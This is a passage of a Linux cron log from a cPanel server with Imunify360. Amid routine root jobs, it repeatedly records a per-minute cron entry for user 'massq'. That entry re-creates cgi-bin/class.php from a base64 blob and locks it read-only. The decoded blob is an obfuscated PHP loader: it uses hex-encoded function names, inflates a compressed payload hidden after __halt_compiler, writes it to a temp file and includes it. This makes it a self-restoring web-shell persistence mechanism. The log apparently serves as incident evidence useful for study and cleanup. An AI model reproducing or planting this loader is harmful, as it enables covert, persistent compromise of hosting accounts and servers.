NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:15:01 server CROND[10810]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:16:01 server CROND[11666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:16:01 server CROND[11667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:16:01 server CROND[11668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:17:01 server CROND[12145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:17:01 server CROND[12146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:17:01 server CROND[12147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:18:01 server CROND[12552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:18:01 server CROND[12553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:18:01 server CROND[12554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:19:01 server CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:19:01 server CROND[12984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:19:01 server CROND[12985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:20:01 server CROND[13370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:20:01 server CROND[13371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:20:01 server CROND[13380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:20:01 server CROND[13389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:20:01 server CROND[13392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:20:01 server CROND[13388]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:20:01 server CROND[13393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:20:01 server CROND[13391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:20:01 server CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:21:01 server CROND[14232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:21:01 server CROND[14233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:21:01 server CROND[14234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:22:01 server CROND[14616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:22:01 server CROND[14617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:22:01 server CROND[14618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:23:01 server CROND[15103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:23:01 server CROND[15104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:23:01 server CROND[15105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:24:01 server CROND[15499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:24:01 server CROND[15500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:24:01 server CROND[15501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:25:01 server CROND[15898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:25:01 server CROND[15900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:25:01 server CROND[15901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:25:01 server CROND[15905]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 02:25:01 server CROND[15903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:25:01 server CROND[15902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:25:01 server CROND[15904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:25:01 server CROND[15906]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:26:01 server CROND[17178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:26:01 server CROND[17179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:26:01 server CROND[17180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:27:01 server CROND[18132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:27:01 server CROND[18133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:27:01 server CROND[18134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:27:01 server CROND[18135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLw